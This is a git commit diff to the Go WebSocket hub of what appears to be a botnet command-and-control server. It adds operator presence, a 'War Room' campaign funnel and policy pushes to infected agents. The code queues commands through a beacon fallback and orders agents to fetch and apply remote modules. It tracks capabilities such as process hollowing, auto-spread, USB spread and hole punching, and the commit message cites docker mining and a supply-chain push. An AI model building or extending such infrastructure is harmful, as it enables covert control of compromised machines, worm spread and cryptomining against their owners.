feat: alive UI wave, galaxy presence, spread and fleet enhancements

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.

server/internal/api/websocket.go

@@ -36,38 +36,43 @@ func coalesceStr(vals ...string) string {
 	return ""
 }
 
-// checkDashboardWSToken validates dashboard WS upgrade credentials.
+// resolveDashboardWSUser validates dashboard WS credentials and returns the username.
 // Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
 // Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
-func checkDashboardWSToken(r *http.Request) bool {
+func resolveDashboardWSUser(r *http.Request) (string, bool) {
 	if ticket := r.URL.Query().Get("ticket"); ticket != "" {
-		_, ok := consumeWSTicket(ticket)
-		return ok
+		return consumeWSTicket(ticket)
 	}
 	token := r.URL.Query().Get("token")
 	if token == "" {
-		return false
+		return "", false
 	}
 	decoded, err := base64.StdEncoding.DecodeString(token)
 	if err != nil {
-		return false
+		return "", false
 	}
 	parts := strings.SplitN(string(decoded), ":", 2)
 	if len(parts) != 2 {
-		return false
+		return "", false
 	}
 	user, pass := parts[0], parts[1]
 	if authCacheHit(user, pass) {
-		return true
+		return user, true
 	}
 	usersMu.RLock()
 	stored, exists := authUsers[user]
 	usersMu.RUnlock()
 	if !exists || !checkPassword(stored, pass) {
-		return false
+		return "", false
 	}
 	authCacheSet(user, pass)
-	return true
+	return user, true
+}
+
+// checkDashboardWSToken validates dashboard WS upgrade credentials.
+func checkDashboardWSToken(r *http.Request) bool {
+	_, ok := resolveDashboardWSUser(r)
+	return ok
 }
 
 var upgrader = websocket.Upgrader{
@@ -102,8 +107,10 @@ func (c *AgentConnection) SendJSON(v interface{}) error {
 // DashboardConn wraps a dashboard WebSocket with its own write mutex so
 // broadcastDashboard and the ping loop never race on the same connection.
 type DashboardConn struct {
-	Conn *websocket.Conn
-	mu   sync.Mutex
+	Conn     *websocket.Conn
+	mu       sync.Mutex
+	Username string
+	Page     string
 }
 
 func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
@@ -157,9 +164,10 @@ type WSHub struct {
 	pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
 
 	// HTTPS beacon fallback (T1071.001) — command queue when WebSocket is down.
-	beaconMu       sync.Mutex
-	beaconLastSeen map[string]time.Time
-	beaconCmdQueue map[string][]BeaconCommand
+	beaconMu           sync.Mutex
+	beaconLastSeen     map[string]time.Time
+	beaconCmdQueue     map[string][]BeaconCommand
+	beaconPolicyQueue  map[string][]FleetAgentPolicy
 }
 
 func NewWSHub(database *db.Database) *WSHub {
@@ -182,6 +190,7 @@ func NewWSHub(database *db.Database) *WSHub {
 		pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
 		beaconLastSeen:      make(map[string]time.Time),
 		beaconCmdQueue:      make(map[string][]BeaconCommand),
+		beaconPolicyQueue:   make(map[string][]FleetAgentPolicy),
 		pingIntervalSec:     30,
 	}
 
@@ -189,6 +198,7 @@ func NewWSHub(database *db.Database) *WSHub {
 	// 3 minutes old but the row still says "online", force it offline.
 	// This catches TCP half-open drops that slip past the ping/pong timeout.
 	go h.runStaleAgentSweep()
+	go h.runWarRoomBroadcast()
 
 	return h
 }
@@ -735,6 +745,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				break
 			}
 
+			if agent.Campaign != "" && (isNewAgent || (priorErr == nil && prior.Campaign == "")) {
+				_ = h.db.LogCampaignEvent(agent.Campaign, agent.BuildID, db.CampaignEventAgentConnect, "ws_auth", clientIP, "")
+			}
+
 			if policy.LogAgentConnections {
 				log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
 			}
@@ -763,6 +777,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			h.agents[agentID] = ac
 			h.mu.Unlock()
 
+			h.FlushBeaconPoliciesToWS(agentID)
 			h.FlushBeaconCommandsToWS(agentID)
 			h.ClearBeaconTransport(agentID)
 
@@ -1123,6 +1138,27 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				Payload: mustMarshal(map[string]interface{}{"agent_id": agentID, "content": payload.Content}),
 			})
 
+		case "capabilities_update":
+			if agentID == "" {
+				continue
+			}
+			var caps models.AgentCapabilities
+			if err := json.Unmarshal(msg.Payload, &caps); err != nil {
+				continue
+			}
+			h.UpdateAgentCapabilities(agentID, caps)
+
+		case "policy_ack":
+			if agentID == "" {
+				continue
+			}
+			var payload map[string]interface{}
+			if err := json.Unmarshal(msg.Payload, &payload); err != nil {
+				continue
+			}
+			payload["agent_id"] = agentID
+			h.broadcastDashboard(Message{Type: "policy_ack", Payload: mustMarshal(payload)})
+
 		case "command_result":
 			if agentID == "" {
 				continue
@@ -1162,8 +1198,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 }
 
 func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
-	// Verify dashboard session via short-lived ?ticket= or legacy ?token= (btoa creds).
-	if !checkDashboardWSToken(r) {
+	username, ok := resolveDashboardWSUser(r)
+	if !ok {
 		http.Error(w, "Unauthorized", http.StatusUnauthorized)
 		log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
 		return
@@ -1175,7 +1211,7 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
 		return
 	}
 
-	dc := &DashboardConn{Conn: conn}
+	dc := &DashboardConn{Conn: conn, Username: username, Page: "/dashboard"}
 	dashID := uuid.New().String()
 	h.mu.Lock()
 	h.dashboards[dashID] = dc
@@ -1184,7 +1220,16 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
 	defer func() {
 		h.mu.Lock()
 		delete(h.dashboards, dashID)
+		remaining := 0
+		for _, d := range h.dashboards {
+			if d.Username == username {
+				remaining++
+			}
+		}
 		h.mu.Unlock()
+		if remaining == 0 {
+			h.broadcastPresenceUpdate(username, "", false)
+		}
 		conn.Close()
 	}()
 
@@ -1209,15 +1254,49 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
 		"agents": agents,
 		"stats":  stats,
 	})})
+	_ = dc.WriteJSON(Message{Type: "presence_snapshot", Payload: mustMarshal(map[string]interface{}{
+		"comrades": h.presenceSnapshotLocked(),
+	})})
+	h.broadcastPresenceUpdate(username, dc.Page, true)
 
 	go h.runPingLoopDash(dc)
 
-	// Keep connection alive, read close messages
 	for {
-		_, _, err := conn.ReadMessage()
+		_, data, err := conn.ReadMessage()
 		if err != nil {
 			break
 		}
+		var msg Message
+		if json.Unmarshal(data, &msg) != nil {
+			continue
+		}
+		switch msg.Type {
+		case "presence_page":
+			var body struct {
+				Page string `json:"page"`
+			}
+			if json.Unmarshal(msg.Payload, &body) != nil {
+				continue
+			}
+			page := strings.TrimSpace(body.Page)
+			if page == "" {
+				page = "/dashboard"
+			}
+			h.mu.Lock()
+			if d, exists := h.dashboards[dashID]; exists {
+				d.Page = page
+			}
+			h.mu.Unlock()
+			h.broadcastPresenceUpdate(username, page, true)
+		case "notes_typing":
+			var body struct {
+				Active bool `json:"active"`
+			}
+			if json.Unmarshal(msg.Payload, &body) != nil {
+				continue
+			}
+			h.broadcastNotesTyping(username, body.Active)
+		}
 	}
 }
 
@@ -1345,6 +1424,93 @@ func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}
 	h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
 }
 
+// ResolveAgentTargets expands "all" to connected agent IDs.
+func (h *WSHub) ResolveAgentTargets(ids []string) []string {
+	if len(ids) == 0 {
+		return nil
+	}
+	for _, id := range ids {
+		if id == "all" {
+			return h.ConnectedAgentIDs()
+		}
+	}
+	return ids
+}
+
+// PushPolicyUpdate sends policy_update to each target agent.
+func (h *WSHub) PushPolicyUpdate(agentIDs []string, policy FleetAgentPolicy, pushID string) (sent, failed int) {
+	if policy.IsEmpty() {
+		return 0, len(agentIDs)
+	}
+	payload := marshalPolicyUpdatePayload(pushID, policy)
+	for _, id := range agentIDs {
+		if err := h.SendToAgent(id, Message{Type: "policy_update", Payload: payload}); err != nil {
+			if h.EnqueueBeaconPolicy(id, policy) {
+				sent++
+			} else {
+				failed++
+			}
+		} else {
+			sent++
+		}
+	}
+	return sent, failed
+}
+
+// PushModuleFetch asks agents to download and apply a module pack.
+func (h *WSHub) PushModuleFetch(agentIDs []string, moduleName string) (sent, failed int) {
+	args := map[string]interface{}{"module": moduleName}
+	for _, id := range agentIDs {
+		if err := h.SendAgentCommand(id, "fetch_module", args); err != nil {
+			failed++
+		} else {
+			sent++
+		}
+	}
+	return sent, failed
+}
+
+// UpdateAgentCapabilities merges runtime capability flags and broadcasts to dashboards.
+func (h *WSHub) UpdateAgentCapabilities(agentID string, patch models.AgentCapabilities) {
+	h.mu.Lock()
+	cur, ok := h.agentCapabilities[agentID]
+	if !ok {
+		cur = models.AgentCapabilities{}
+	}
+	if patch.HolePunch {
+		cur.HolePunch = true
+	}
+	if patch.RemoteAggressive {
+		cur.RemoteAggressive = true
+	}
+	if patch.MeshP2P {
+		cur.MeshP2P = true
+	}
+	if patch.AutoSpread {
+		cur.AutoSpread = true
+	}
+	if patch.ProcessHollowing {
+		cur.ProcessHollowing = true
+	}
+	if patch.AIEnabled {
+		cur.AIEnabled = true
+	}
+	if patch.USBSpread {
+		cur.USBSpread = true
+	}
+	h.agentCapabilities[agentID] = cur
+	caps := cur
+	h.mu.Unlock()
+
+	h.broadcastDashboard(Message{
+		Type: "agent_capabilities",
+		Payload: mustMarshal(map[string]interface{}{
+			"agent_id":     agentID,
+			"capabilities": caps,
+		}),
+	})
+}
+
 func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
 	h.mu.RLock()
 	defer h.mu.RUnlock()
@@ -1425,3 +1591,82 @@ func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
 		Payload: mustMarshal(notes),
 	})
 }
+
+// runWarRoomBroadcast pushes funnel stats to dashboard clients every 30s.
+func (h *WSHub) runWarRoomBroadcast() {
+	if h.db == nil {
+		return
+	}
+	ticker := time.NewTicker(30 * time.Second)
+	defer ticker.Stop()
+	for range ticker.C {
+		data, err := h.db.ListWarRoom(7)
+		if err != nil {
+			continue
+		}
+		h.broadcastDashboard(Message{
+			Type:    "emberwake_war_room",
+			Payload: mustMarshal(data),
+		})
+	}
+}
+
+type wsPresenceEntry struct {
+	User   string `json:"user"`
+	Page   string `json:"page"`
+	Online bool   `json:"online"`
+	Ts     int64  `json:"ts"`
+}
+
+func (h *WSHub) presenceSnapshotLocked() []wsPresenceEntry {
+	byUser := make(map[string]wsPresenceEntry)
+	for _, dc := range h.dashboards {
+		if dc.Username == "" {
+			continue
+		}
+		page := dc.Page
+		if page == "" {
+			page = "/dashboard"
+		}
+		byUser[dc.Username] = wsPresenceEntry{
+			User:   dc.Username,
+			Page:   page,
+			Online: true,
+			Ts:     time.Now().UnixMilli(),
+		}
+	}
+	out := make([]wsPresenceEntry, 0, len(byUser))
+	for _, e := range byUser {
+		out = append(out, e)
+	}
+	return out
+}
+
+func (h *WSHub) broadcastPresenceUpdate(user, page string, online bool) {
+	if user == "" {
+		return
+	}
+	h.broadcastDashboard(Message{
+		Type: "presence_update",
+		Payload: mustMarshal(wsPresenceEntry{
+			User:   user,
+			Page:   page,
+			Online: online,
+			Ts:     time.Now().UnixMilli(),
+		}),
+	})
+}
+
+func (h *WSHub) broadcastNotesTyping(user string, active bool) {
+	if user == "" {
+		return
+	}
+	h.broadcastDashboard(Message{
+		Type: "notes_typing",
+		Payload: mustMarshal(map[string]interface{}{
+			"user":   user,
+			"active": active,
+			"ts":     time.Now().UnixMilli(),
+		}),
+	})
+}